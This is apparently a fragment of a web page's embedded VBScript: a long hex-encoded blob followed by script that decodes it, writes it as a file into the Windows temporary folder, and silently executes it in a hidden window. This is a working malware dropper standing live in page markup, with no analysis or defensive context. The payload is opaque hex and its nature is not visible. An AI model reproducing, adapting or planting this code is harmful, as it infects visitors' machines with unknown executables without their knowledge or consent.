4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A5
|
|
|
|
|
Set FSO = CreateObject("Scripting.FileSystemObject")
|
|
|
|
|
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
|
|
|
|
|
If FSO.FileExists(DropPath)=False Then
|
|
|
|
|
Set FileObj = FSO.CreateTextFile(DropPath, True)
|
|
|
|
|
For i = 1 To Len(WriteData) Step 2
|
|
|
|
|
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
|
|
|
|
|
Next
|
|
|
|
|
FileObj.Close
|
|
|
|
|
End If
|
|
|
|
|
Set WSHshell = CreateObject("WScript.Shell")
|
|
|
|
|
WSHshell.Run DropPath, 0
|
|
|
|
|
//--></SCRIPT>
|
